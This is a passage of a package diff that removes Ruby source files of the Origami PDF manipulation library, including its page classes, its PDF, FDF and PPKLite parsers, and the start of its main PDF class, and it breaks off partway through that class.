Rectangle[:width => 74, :height => 105] - - B0 = Rectangle[:width => 2836, :height => 4008] - B1 = Rectangle[:width => 2004, :height => 2835] - B2 = Rectangle[:width => 1417, :height => 2004] - B3 = Rectangle[:width => 1001, :height => 1417] - B4 = Rectangle[:width => 709, :height => 1001] - B5 = Rectangle[:width => 499, :height => 709] - B6 = Rectangle[:width => 354, :height => 499] - B7 = Rectangle[:width => 249, :height => 354] - B8 = Rectangle[:width => 176, :height => 249] - B9 = Rectangle[:width => 125, :height => 176] - B10 = Rectangle[:width => 88, :height => 125] - end - - field :Type, :Type => Name, :Default => :Page, :Required => true - field :Parent, :Type => Dictionary, :Required => true - field :LastModified, :Type => String, :Version => "1.3" - field :Resources, :Type => Resources, :Required => true - field :MediaBox, :Type => Array, :Default => Format::A4, :Required => true - field :CropBox, :Type => Array - field :BleedBox, :Type => Array, :Version => "1.3" - field :TrimBox, :Type => Array, :Version => "1.3" - field :ArtBox, :Type => Array, :Version => "1.3" - field :BoxColorInfo, :Type => Dictionary, :Version => "1.4" - field :Contents, :Type => [ ContentStream, Array ] - field :Rotate, :Type => Integer, :Default => 0 - field :Group, :Type => Dictionary, :Version => "1.4" - field :Thumb, :Type => Stream - field :B, :Type => Array, :Version => "1.1" - field :Dur, :Type => Integer, :Version => "1.1" - field :Trans, :Type => Dictionary, :Version => "1.1" - field :Annots, :Type => Array - field :AA, :Type => Dictionary, :Version => "1.2" - field :Metadata, :Type => Stream, :Version => "1.4" - field :PieceInfo, :Type => Dictionary, :Version => "1.2" - field :StructParents, :Type => Integer, :Version => "1.3" - field :ID, :Type => String - field :PZ, :Type => Number - field :SeparationInfo, :Type => Dictionary, :Version => "1.3" - field :Tabs, :Type => Name, :Version => "1.5" - field :TemplateAssociated, :Type => Name, :Version => "1.5" - field :PresSteps, :Type => Dictionary, :Version => "1.5" - field :UserUnit, :Type => Number, :Default => 1.0, :Version => "1.6" - field :VP, :Type => Dictionary, :Version => "1.6" - - def initialize(hash = {}) - super(hash) - - set_indirect(true) - end - - def pre_build - self.Resources = Resources.new.pre_build unless self.has_key?(:Resources) - - super - end - - # - # Add an Annotation to the Page. - # - def add_annot(*annotations) - unless annotations.all?{|annot| annot.is_a?(Annotation) or annot.is_a?(Reference)} - raise TypeError, "Only Annotation objects must be passed." - end - - self.Annots ||= [] - - annotations.each do |annot| - annot.solve[:P] = self if is_indirect? - self.Annots << annot - end - end - - # - # Iterate through each Annotation of the Page. - # - def each_annot(&b) - annots = self.Annots - return unless annots.is_a?(Array) - - annots.each do |annot| - b.call(annot.solve) - end - end - - # - # Returns the array of Annotation objects of the Page. - # - def annotations - annots = self.Annots - return [] unless annots.is_a?(Array) - - annots.map{|annot| annot.solve} - end - - # - # Embed a SWF Flash application in the page. - # - def add_flash_application(swfspec, params = {}) - options = - { - :windowed => false, - :transparent => false, - :navigation_pane => false, - :toolbar => false, - :pass_context_click => false, - :activation => Annotation::RichMedia::Activation::PAGE_OPEN, - :deactivation => Annotation::RichMedia::Deactivation::PAGE_CLOSE, - :flash_vars => nil - } - options.update(params) - - annot = create_richmedia(:Flash, swfspec, options) - add_annot(annot) - - annot - end - - # - # Will execute an action when the page is opened. - # - def onOpen(action) - unless action.is_a?(Action) or action.is_a?(Reference) - raise TypeError, "An Action object must be passed." - end - - self.AA ||= PageAdditionalActions.new - self.AA.O = action - - self - end - - # - # Will execute an action when the page is closed. - # - def onClose(action) - unless action.is_a?(Action) or action.is_a?(Reference) - raise TypeError, "An Action object must be passed." - end - - self.AA ||= PageAdditionalActions.new - self.AA.C = action - - self - end - - # - # Will execute an action when navigating forward from this page. - # - def onNavigateForward(action) #:nodoc: - unless action.is_a?(Action) or action.is_a?(Reference) - raise TypeError, "An Action object must be passed." - end - - self.PresSteps ||= NavigationNode.new - self.PresSteps.NA = action - - self - end - - # - # Will execute an action when navigating backward from this page. - # - def onNavigateBackward(action) #:nodoc: - unless action.is_a?(Action) or action.is_a?(Reference) - raise TypeError, "An Action object must be passed." - end - - self.PresSteps ||= NavigationNode.new - self.PresSteps.PA = action - - self - end - - private - - def create_richmedia(type, content, params) #:nodoc: - content.set_indirect(true) - richmedia = Annotation::RichMedia.new.set_indirect(true) - - rminstance = Annotation::RichMedia::Instance.new.set_indirect(true) - rmparams = rminstance.Params = Annotation::RichMedia::Parameters.new - rmparams.Binding = Annotation::RichMedia::Parameters::Binding::BACKGROUND - rmparams.FlashVars = params[:flash_vars] - rminstance.Asset = content - - rmconfig = Annotation::RichMedia::Configuration.new.set_indirect(true) - rmconfig.Instances = [ rminstance ] - rmconfig.Subtype = type - - rmcontent = richmedia.RichMediaContent = Annotation::RichMedia::Content.new.set_indirect(true) - rmcontent.Assets = NameTreeNode.new - rmcontent.Assets.Names = NameLeaf.new(content.F.value => content) - - rmcontent.Configurations = [ rmconfig ] - - rmsettings = richmedia.RichMediaSettings = Annotation::RichMedia::Settings.new - rmactivation = rmsettings.Activation = Annotation::RichMedia::Activation.new - rmactivation.Condition = params[:activation] - rmactivation.Configuration = rmconfig - rmactivation.Animation = Annotation::RichMedia::Animation.new(:PlayCount => -1, :Subtype => :Linear, :Speed => 1.0) - rmpres = rmactivation.Presentation = Annotation::RichMedia::Presentation.new - rmpres.Style = Annotation::RichMedia::Presentation::WINDOWED if params[:windowed] - rmpres.Transparent = params[:transparent] - rmpres.NavigationPane = params[:navigation_pane] - rmpres.Toolbar = params[:toolbar] - rmpres.PassContextClick = params[:pass_context_click] - - rmdeactivation = rmsettings.Deactivation = Annotation::RichMedia::Deactivation.new - rmdeactivation.Condition = params[:deactivation] - - richmedia - end - - end - - # - # Class representing additional actions which can be associated to a Page. - # - class PageAdditionalActions < Dictionary - include StandardObject - - field :O, :Type => Dictionary, :Version => "1.2" # Page Open - field :C, :Type => Dictionary, :Version => "1.2" # Page Close - end - - # - # Class representing a navigation node associated to a Page. - # - class NavigationNode < Dictionary - include StandardObject - - field :Type, :Type => Name, :Default => :NavNode - field :NA, :Type => Dictionary # Next action - field :PA, :Type => Dictionary # Prev action - field :Next, :Type => Dictionary - field :Prev, :Type => Dictionary - field :Dur, :Type => Number - end - -end - diff -Nru origami-1.2.7/lib/origami/parser.rb origami-1.2.7+really0.7.4/lib/origami/parser.rb --- origami-1.2.7/lib/origami/parser.rb 2013-05-07 15:08:46.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/parser.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,328 +0,0 @@ -=begin - -= File - parser.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -require 'strscan' - -module Origami - - module Console - - if RUBY_PLATFORM =~ /win32/ or RUBY_PLATFORM =~ /mingw32/ - require "Win32API" - - getStdHandle = Win32API.new("kernel32", "GetStdHandle", 'L', 'L') - @@getConsoleScreenBufferInfo = Win32API.new("kernel32", "GetConsoleScreenBufferInfo", 'LP', 'L') - @@setConsoleTextAttribute = Win32API.new("kernel32", "SetConsoleTextAttribute", 'LN', 'I') - @@hOut = getStdHandle.call(-11) - end - - module Colors #:nodoc; - if RUBY_PLATFORM =~ /win32/ or RUBY_PLATFORM =~ /mingw32/ - BLACK = 0 - BLUE = 1 - GREEN = 2 - CYAN = 3 - RED = 4 - MAGENTA = 5 - YELLOW = 6 - GREY = 7 - WHITE = 8 - else - GREY = '0;0' - BLACK = '0;30' - RED = '0;31' - GREEN = '0;32' - YELLOW = '0;33' - BLUE = '0;34' - MAGENTA = '0;35' - CYAN = '0;36' - WHITE = '0;37' - BRIGHT_GREY = '1;30' - BRIGHT_RED = '1;31' - BRIGHT_GREEN = '1;32' - BRIGHT_YELLOW = '1;33' - BRIGHT_BLUE = '1;34' - BRIGHT_MAGENTA = '1;35' - BRIGHT_CYAN = '1;36' - BRIGHT_WHITE = '1;37' - end - end - - def self.set_fg_color(color, bright = false, fd = STDOUT) #:nodoc: - if RUBY_PLATFORM =~ /win32/ or RUBY_PLATFORM =~ /mingw32/ - screen_info = "\x00" * 30 - current = - if @@getConsoleScreenBufferInfo.call(@@hOut, screen_info) == 1 - screen_info[8,2].unpack('v')[0] - else - Colors::GREY - end - color |= Colors::WHITE if bright - @@setConsoleTextAttribute.call(@@hOut, color) - yield - @@setConsoleTextAttribute.call(@@hOut, current) - else - col, nocol = [color, Colors::GREY].map! { |key| "\033[#{key}m" } - fd << col - yield - fd << nocol - end - end - - unless RUBY_PLATFORM =~ /win32/ or RUBY_PLATFORM =~ /mingw32/ - def self.colorize(text, color, bright = false) - col, nocol = [color, Colors::GREY].map! { |key| "\033[#{key}m" } - "#{col}#{text}#{nocol}" - end - end - - def self.colorprint(text, color, bright = false, fd = STDOUT) #:nodoc: - set_fg_color(color, bright, fd) { - fd << text - } - end - - end - - class Parser #:nodoc: - - class ParsingError < Exception #:nodoc: - end - - # - # Do not output debug information. - # - VERBOSE_QUIET = 0 - - # - # Output some useful information. - # - VERBOSE_INFO = 1 - - # - # Output debug information. - # - VERBOSE_DEBUG = 2 - - # - # Output every objects read - # - VERBOSE_INSANE = 3 - - attr_accessor :options - - def initialize(options = {}) #:nodoc: - - # Type information for indirect objects. - @deferred_casts = {} - - #Default options values - @options = - { - :verbosity => VERBOSE_INFO, # Verbose level. - :ignore_errors => true, # Try to keep on parsing when errors occur. - :callback => Proc.new {}, # Callback procedure whenever a structure is read. - :logger => STDERR, # Where to output parser messages. - :colorize_log => true # Colorize parser output? - } - - @options.update(options) - end - - def parse(stream) - data = - if stream.respond_to? :read - if ''.respond_to? :force_encoding - StringScanner.new(stream.read.force_encoding('binary')) # 1.9 compat - else - StringScanner.new(stream.read) - end - elsif stream.is_a? ::String - @filename = stream - if ''.respond_to? :force_encoding - StringScanner.new(File.open(stream, "r", :encoding => 'binary').binmode.read) - else - StringScanner.new(File.open(stream, "r").binmode.read) - end - elsif stream.is_a? StringScanner - stream - else - raise TypeError - end - - @logger = @options[:logger] - @data = data - @data.pos = 0 - end - - def parse_object(pos = @data.pos) #:nodoc: - @data.pos = pos - - begin - obj = Object.parse(@data, self) - return if obj.nil? - - trace "Read #{obj.type} object#{ - if obj.class != obj.native_type - " (" + obj.native_type.to_s.split('::').last + ")" - end - }, #{obj.reference}" - - @options[:callback].call(obj) - obj - - rescue UnterminatedObjectError => e - error e.message - obj = e.obj - - Object.skip_until_next_obj(@data) - @options[:callback].call(obj) - obj - - rescue Exception => e - error "Breaking on: #{(@data.peek(10) + "...").inspect} at offset 0x#{@data.pos.to_s(16)}" - error "Last exception: [#{e.class}] #{e.message}" - if not @options[:ignore_errors] - error "Manually fix the file or set :ignore_errors parameter." - raise - end - - debug 'Skipping this indirect object.' - raise if not Object.skip_until_next_obj(@data) - - retry - end - end - - def parse_xreftable(pos = @data.pos) #:nodoc: - @data.pos = pos - - begin - info "...Parsing xref table..." - xreftable = XRef::Section.parse(@data) - @options[:callback].call(xreftable) - - xreftable - rescue Exception => e - debug "Exception caught while parsing xref table : " + e.message - warn "Unable to parse xref table! Xrefs might be stored into an XRef stream." - - @data.pos -= 'trailer'.length unless @data.skip_until(/trailer/).nil? - - nil - end - end - - def parse_trailer(pos = @data.pos) #:nodoc: - @data.pos = pos - - begin - info "...Parsing trailer..." - trailer = Trailer.parse(@data, self) - - @options[:callback].call(trailer) - trailer - - rescue Exception => e - debug "Exception caught while parsing trailer : " + e.message - warn "Unable to parse trailer!" - - abort("Manually fix the file or set :ignore_errors parameter.") if not @options[:ignore_errors] - - raise - end - end - - def defer_type_cast(reference, type) #:nodoc: - @deferred_casts[reference] = type - end - - def target_filename - @filename - end - - def target_filesize - @data.string.size if @data - end - - def target_data - @data.string.dup if @data - end - - private - - def error(str = "") #:nodoc: - if @options[:colorize_log] - Console.colorprint("[error] #{str}\n", Console::Colors::RED, false, @logger) - else - @logger.puts "[error] #{str}" - end - end - - def warn(str = "") #:nodoc: - if @options[:verbosity] >= VERBOSE_INFO - if @options[:colorize_log] - Console.colorprint("[info ] Warning: #{str}\n", Console::Colors::YELLOW, false, @logger) - else - @logger.puts "[info ] #{str}" - end - end - end - - def info(str = "") #:nodoc: - if @options[:verbosity] >= VERBOSE_INFO - if @options[:colorize_log] - Console.colorprint("[info ] ", Console::Colors::GREEN, false, @logger) - @logger.puts str - else - @logger.puts "[info ] #{str}" - end - end - end - - def debug(str = "") #:nodoc: - if @options[:verbosity] >= VERBOSE_DEBUG - if @options[:colorize_log] - Console.colorprint("[debug] ", Console::Colors::MAGENTA, false, @logger) - @logger.puts str - else - @logger.puts "[debug] #{str}" - end - end - end - - def trace(str = "") #:nodoc: - if @options[:verbosity] >= VERBOSE_INSANE - if @options[:colorize_log] - Console.colorprint("[trace] ", Console::Colors::CYAN, false, @logger) - @logger.puts str - else - @logger.puts "[trace] #{str}" - end - end - end - end -end - diff -Nru origami-1.2.7/lib/origami/parsers/fdf.rb origami-1.2.7+really0.7.4/lib/origami/parsers/fdf.rb --- origami-1.2.7/lib/origami/parsers/fdf.rb 2011-10-14 16:55:33.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/parsers/fdf.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,48 +0,0 @@ -=begin - -= File - parsers/fdf.rb - -= Info - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -require 'origami/parser' - -module Origami - - class FDF - class Parser < Origami::Parser - def parse(stream) #:nodoc: - super - - fdf = Adobe::FDF.new - fdf.header = Adobe::FDF::Header.parse(stream) - @options[:callback].call(fdf.header) - - loop do - break if (object = parse_object).nil? - fdf << object - end - - fdf.revisions.first.xreftable = parse_xreftable - fdf.revisions.first.trailer = parse_trailer - - fdf - end - end - end -end - diff -Nru origami-1.2.7/lib/origami/parsers/pdf/linear.rb origami-1.2.7+really0.7.4/lib/origami/parsers/pdf/linear.rb --- origami-1.2.7/lib/origami/parsers/pdf/linear.rb 2013-05-07 15:08:46.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/parsers/pdf/linear.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,85 +0,0 @@ -=begin - -= File - parsers/linear.rb - -= Info - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - - -require 'origami/parser' -require 'origami/pdf' - -module Origami - - class PDF - - # - # Create a new PDF linear Parser. - # - class LinearParser < Parser - def parse(stream) - super - - pdf = parse_initialize - - # - # Parse each revision - # - revision = 0 - until @data.eos? do - - begin - pdf.add_new_revision unless revision.zero? - revision = revision + 1 - - info "...Parsing revision #{pdf.revisions.size}..." - loop do - break if (object = parse_object).nil? - pdf.insert(object) - end - - pdf.revisions.last.xreftable = parse_xreftable - - trailer = parse_trailer - pdf.revisions.last.trailer = trailer - - xrefstm = pdf.get_object_by_offset(trailer.startxref) || - (pdf.get_object_by_offset(trailer.XRefStm) if trailer.has_field? :XRefStm) - - if not xrefstm.nil? - warn "Found a XRefStream for this revision at #{xrefstm.reference}" - pdf.revisions.last.xrefstm = xrefstm - end - - rescue SystemExit - raise - rescue Exception => e - error "Cannot read : " + (@data.peek(10) + "...").inspect - error "Stopped on exception : " + e.message - - break - end - - end - - parse_finalize(pdf) - end - - end - end -end - diff -Nru origami-1.2.7/lib/origami/parsers/pdf.rb origami-1.2.7+really0.7.4/lib/origami/parsers/pdf.rb --- origami-1.2.7/lib/origami/parsers/pdf.rb 2013-05-07 15:08:46.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/parsers/pdf.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,115 +0,0 @@ -=begin - -= File - parsers/pdf.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -require 'origami/parser' - -module Origami - - class PDF - class Parser < Origami::Parser - def initialize(params = {}) - options = - { - :password => '', # Default password being tried when opening a protected document. - :prompt_password => Proc.new { - print "Password: " - gets.chomp - }, # Callback procedure to prompt password when document is encrypted. - :force => false # Force PDF header detection - }.update(params) - - super(options) - end - - private - - def parse_initialize #:nodoc: - if @options[:force] == true - @data.skip_until(/%PDF-/).nil? - @data.pos = @data.pos - 5 - end - - pdf = PDF.new(self) - - info "...Reading header..." - begin - pdf.header = PDF::Header.parse(@data) - @options[:callback].call(pdf.header) - rescue InvalidHeaderError => e - if @options[:ignore_errors] == true - warn "PDF header is invalid, ignoring..." - else - raise e - end - end - - pdf - end - - def parse_finalize(pdf) #:nodoc: - warn "This file has been linearized." if pdf.is_linearized? - - if Origami::OPTIONS[:enable_type_propagation] - info "...Propagating types..." - @deferred_casts.each_pair do |ref, type| - type = [ type ] unless type.is_a?(::Array) - type.each do |hint| - pdf.cast_object(ref, hint) - end - end - end - - # - # Decrypt encrypted file contents - # - if pdf.is_encrypted? - warn "This document contains encrypted data!" - - passwd = @options[:password] - begin - pdf.decrypt(passwd) - rescue EncryptionInvalidPasswordError - if passwd.empty? - passwd = @options[:prompt_password].call - retry unless passwd.empty? - end - - raise EncryptionInvalidPasswordError - end - end - - if pdf.is_signed? - warn "This document has been signed!" - end - - pdf - end - end - end - -end - -require 'origami/parsers/pdf/linear' - diff -Nru origami-1.2.7/lib/origami/parsers/ppklite.rb origami-1.2.7+really0.7.4/lib/origami/parsers/ppklite.rb --- origami-1.2.7/lib/origami/parsers/ppklite.rb 2011-10-14 16:55:33.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/parsers/ppklite.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,93 +0,0 @@ -=begin - -= File - parsers/ppklite.rb - -= Info - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -require 'origami/parser' - -module Origami - - module Adobe - - class PPKLite - - class Parser < Origami::Parser - def parse(stream) #:nodoc: - super - - addrbk = Adobe::PPKLite.new - addrbk.header = Adobe::PPKLite::Header.parse(stream) - @options[:callback].call(addrbk.header) - - loop do - break if (object = parse_object).nil? - addrbk << object - end - - addrbk.revisions.first.xreftable = parse_xreftable - addrbm.revisions.first.trailer = parse_trailer - book_specialize_entries(addrbk) - - addrbk - end - - def book_specialize_entries(addrbk) #:nodoc: - addrbk.revisions.first.body.each_pair do |ref, obj| - - if obj.is_a?(Dictionary) - - if obj[:Type] == :Catalog - - o = Adobe::PPKLite::Catalog.new(obj) - o.generation, o.no, o.file_offset = obj.generation, obj.no, obj.file_offset - - if o.PPK.is_a?(Dictionary) and o.PPK[:Type] == :PPK - o.PPK = Adobe::PPKLite::PPK.new(o.PPK) - - if o.PPK.User.is_a?(Dictionary) and o.PPK.User[:Type] == :User - o.PPK.User = Adobe::PPKLite::UserList.new(o.PPK.User) - end - - if o.PPK.AddressBook.is_a?(Dictionary) and o.PPK.AddressBook[:Type] == :AddressBook - o.PPK.AddressBook = Adobe::PPKLite::AddressList.new(o.PPK.AddressBook) - end - end - - addrbk.revisions.first.body[ref] = o - - elsif obj[:ABEType] == Adobe::PPKLite::Descriptor::USER - o = Adobe::PPKLite::User.new(obj) - o.generation, o.no, o.file_offset = obj.generation, obj.no, obj.file_offset - - addrbk.revisions.first.body[ref] = o - elsif obj[:ABEType] == Adobe::PPKLite::Descriptor::CERTIFICATE - o = Adobe::PPKLite::Certificate.new(obj) - o.generation, o.no, o.file_offset = obj.generation, obj.no, obj.file_offset - - addrbk.revisions.first.body[ref] = o - end - - end - end - end - end - end - end -end - diff -Nru origami-1.2.7/lib/origami/pdf.rb origami-1.2.7+really0.7.4/lib/origami/pdf.rb --- origami-1.2.7/lib/origami/pdf.rb 2013-08-20 11:30:45.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/pdf.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,1138 +0,0 @@ -=begin - -= File - pdf.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -require 'origami/object' -require 'origami/null' -require 'origami/name' -require 'origami/dictionary' -require 'origami/reference' -require 'origami/boolean' -require 'origami/numeric' -require 'origami/string' -require 'origami/array' -require 'origami/stream' -require 'origami/filters' -require 'origami/trailer' -require 'origami/xreftable' -require 'origami/header' -require 'origami/functions' -require 'origami/catalog' -require 'origami/font' -require 'origami/page' -require 'origami/graphics' -require 'origami/destinations' -require 'origami/outline' -require 'origami/actions' -require 'origami/file' -require 'origami/acroform' -require 'origami/annotations' -require 'origami/3d' -require 'origami/signature' -require 'origami/webcapture' -require 'origami/metadata' -require 'origami/export' -require 'origami/webcapture' -require 'origami/encryption' -require 'origami/linearization' -require 'origami/obfuscation' -require 'origami/xfa' -require 'origami/javascript' -require 'origami/outputintents' - -require 'origami/parsers/pdf' - -module Origami - - class InvalidPDFError < Exception #:nodoc: - end - - # - # Main class representing a PDF file and its inner contents. - # A PDF file contains a set of Revision. - # - class PDF - - # - # Class representing a particular revision in a PDF file. - # Revision contains : - # * A Body, which is a sequence of Object. - # * A XRef::Section, holding XRef information about objects in body. - # * A Trailer. - # - class Revision - attr_accessor :pdf - attr_accessor :body, :xreftable, :xrefstm, :trailer - - def initialize(pdf) - @pdf = pdf - @body = {} - @xreftable = nil - @xrefstm = nil - @trailer = nil - end - - def trailer=(trl) - trl.pdf = @pdf - @trailer = trl - end - - def has_xreftable? - not @xreftable.nil? - end - - def has_xrefstm? - not @xrefstm.nil? - end - - def objects - @body.values - end - end - - attr_accessor :header, :revisions - - class << self - - # - # Reads and parses a PDF file from disk. - # - def read(filename, options = {}) - filename = File.expand_path(filename) if filename.is_a?(::String) - PDF::LinearParser.new(options).parse(filename) - end - - # - # Creates a new PDF and saves it. - # If a block is passed, the PDF instance can be processed before saving. - # - def create(output, options = {}) - pdf = PDF.new - yield(pdf) if block_given? - pdf.save(output, options) - end - alias write create - - # - # Deserializes a PDF dump. - # - def deserialize(filename) - Zlib::GzipReader.open(filename) { |gz| - pdf = Marshal.load(gz.read) - } - - pdf - end - end - - # - # Creates a new PDF instance. - # _parser_:: The Parser object creating the document. If none is specified, some default structures are automatically created to get a minimal working document. - # - def initialize(parser = nil) - @header = PDF::Header.new - @revisions = [] - - add_new_revision - @revisions.first.trailer = Trailer.new - - if parser - @parser = parser - else - init - end - end - - # - # Original file name if parsed from disk, nil otherwise. - # - def original_filename - @parser.target_filename if @parser - end - - # - # Original file size if parsed from a data stream, nil otherwise. - # - def original_filesize - @parser.target_filesize if @parser - end - - # - # Original data parsed to create this document, nil if created from scratch. - # - def original_data - @parser.target_data if @parser - end - - # - # Serializes the current PDF. - # - def serialize(filename) - parser = @parser - @parser = nil # do not serialize the parser - - Zlib::GzipWriter.open(filename) { |gz| - gz.write Marshal.dump(self) - } - - @parser = parser - self - end - - # - # Saves the current document. - # _filename_:: The path where to save this PDF. - # - def save(path, params = {}) - - options = - { - :delinearize => true, - :recompile => true, - :decrypt => false - } - options.update(params) - - if self.frozen? # incompatible flags with frozen doc (signed) - options[:recompile] = - options[:rebuildxrefs] = - options[:noindent] = - options[:obfuscate] = false - end - - if path.respond_to?(:write) - fd = path - else - path = File.expand_path(path) - fd = File.open(path, 'w').binmode - end - - intents_as_pdfa1 if options[:intent] =~ /pdf[\/-]?A1?/i - self.delinearize! if options[:delinearize] and self.is_linearized? - compile(options) if options[:recompile] - - fd.write output(options) - fd.close - - self - end - alias write save - - # - # Saves the file up to given revision number. - # This can be useful to visualize the modifications over different incremental updates. - # _revision_:: The revision number to save. - # _filename_:: The path where to save this PDF. - # - def save_upto(revision, filename) - save(filename, :up_to_revision => revision) - end - - # - # Returns an array of Objects whose content is matching _pattern_. - # -# def grep(*patterns) -# -# patterns.map! do |pattern| -# pattern.is_a?(::String) ? Regexp.new(Regexp.escape(pattern)) : pattern -# end -# -# unless patterns.all? { |pattern| pattern.is_a?(Regexp) } -# raise TypeError, "Expected a String or Regexp" -# end -# -# result = [] -# objects.each do |obj| -# begin -# case obj -# when String, Name -# result << obj if patterns.any?{|pattern| obj.value.to_s.match(pattern)} -# when Stream -# result << obj if patterns.any?{|pattern| obj.data.match(pattern)} -# end -# rescue Exception => e -# puts "[#{e.class}] #{e.message}" -# -# next -# end -# end -# -# result -# end - - # - # Returns an array of strings and streams matching the given pattern. - # - def grep(*patterns) #:nodoc: - patterns.map! do |pattern| - if pattern.is_a?(::String) - Regexp.new(Regexp.escape(pattern), Regexp::IGNORECASE) - else - pattern - end - end - - unless patterns.all? { |pattern| pattern.is_a?(Regexp) } - raise TypeError, "Expected a String or Regexp" - end - - objset = [] - self.indirect_objects.each do |indobj| - case indobj - when Stream then - objset.push indobj - objset.concat(indobj.dictionary.strings_cache) - objset.concat(indobj.dictionary.names_cache) - when Name,String then objset.push indobj - when Dictionary,Array then - objset.concat(indobj.strings_cache) - objset.concat(indobj.names_cache) - end - end - - objset.delete_if do |obj| - begin - case obj - when String, Name - not patterns.any?{|pattern| obj.value.to_s.match(pattern)} - when Stream - not patterns.any?{|pattern| obj.data.match(pattern)} - end - rescue Exception => e - true - end - end - end - - # - # Returns an array of Objects whose name (in a Dictionary) is matching _pattern_. - # - def ls(*patterns) - return objects(:include_keys => false) if patterns.empty? - - result = [] - - patterns.map! do |pattern| - pattern.is_a?(::String) ? Regexp.new(Regexp.escape(pattern)) : pattern - end - - objects(:only_keys => true).each do |key| - if patterns.any?{ |pattern| key.value.to_s.match(pattern) } - value = key.parent[key] - result << ( value.is_a?(Reference) ? value.solve : value ) - end - end - - result - end - - # - # Returns an array of Objects whose name (in a Dictionary) is matching _pattern_. - # Do not follow references. - # - def ls_no_follow(*patterns) - return objects(:include_keys => false) if patterns.empty? - - result = [] - - patterns.map! do |pattern| - pattern.is_a?(::String) ? Regexp.new(Regexp.escape(pattern)) : pattern - end - - objects(:only_keys => true).each do |key| - if patterns.any?{ |pattern| key.value.to_s.match(pattern) } - value = key.parent[key] - result << value - end - end - - result - end - - # - # Returns an array of objects matching specified block. - # - def find(params = {}, &b) - - options = - { - :only_indirect => false - } - options.update(params) - - objset = (options[:only_indirect] == true) ? - self.indirect_objects : self.objects - - objset.find_all(&b) - end - - # - # Returns an array of objects embedded in the PDF body. - # _include_objstm_:: Whether it shall return objects embedded in object streams. - # Note : Shall return to an iterator for Ruby 1.9 comp. - # - def objects(params = {}) - - def append_subobj(root, objset, opts) - - if objset.find{ |o| root.equal?(o) }.nil? - objset << root unless opts[:only_keys] - - if root.is_a?(Dictionary) - root.each_pair { |name, value| - objset << name if opts[:only_keys] - - append_subobj(name, objset, opts) if opts[:include_keys] and not opts[:only_keys] - append_subobj(value, objset, opts) - } - elsif root.is_a?(Array) or (root.is_a?(ObjectStream) and opts[:include_objectstreams]) - root.each { |subobj| append_subobj(subobj, objset, opts) } - end - end - end - - options = - { - :include_objectstreams => true, - :include_keys => true, - :only_keys => false - } - options.update(params) - - options[:include_keys] |= options[:only_keys] - - objset = [] - @revisions.each do |revision| - revision.objects.each do |object| - append_subobj(object, objset, options) - end - end - - objset - end - - # - # Return an array of indirect objects. - # - def indirect_objects - @revisions.inject([]) do |set, rev| set.concat(rev.objects) end - end - alias :root_objects :indirect_objects - - # - # Adds a new object to the PDF file. - # If this object has no version number, then a new one will be automatically computed and assignated to him. - # It returns a Reference to this Object. - # _object_:: The object to add. - # - def <<(object) - owner = object.pdf - - # - # Does object belongs to another PDF ? - # - if owner and not owner.equal?(self) - import object - else - add_to_revision(object, @revisions.last) - end - end - alias :insert :<< - - # - # Similar to PDF#insert or PDF#<<, but for an object belonging to another document. - # Object will be recursively copied and new version numbers will be assigned. - # Returns the new reference to the imported object. - # 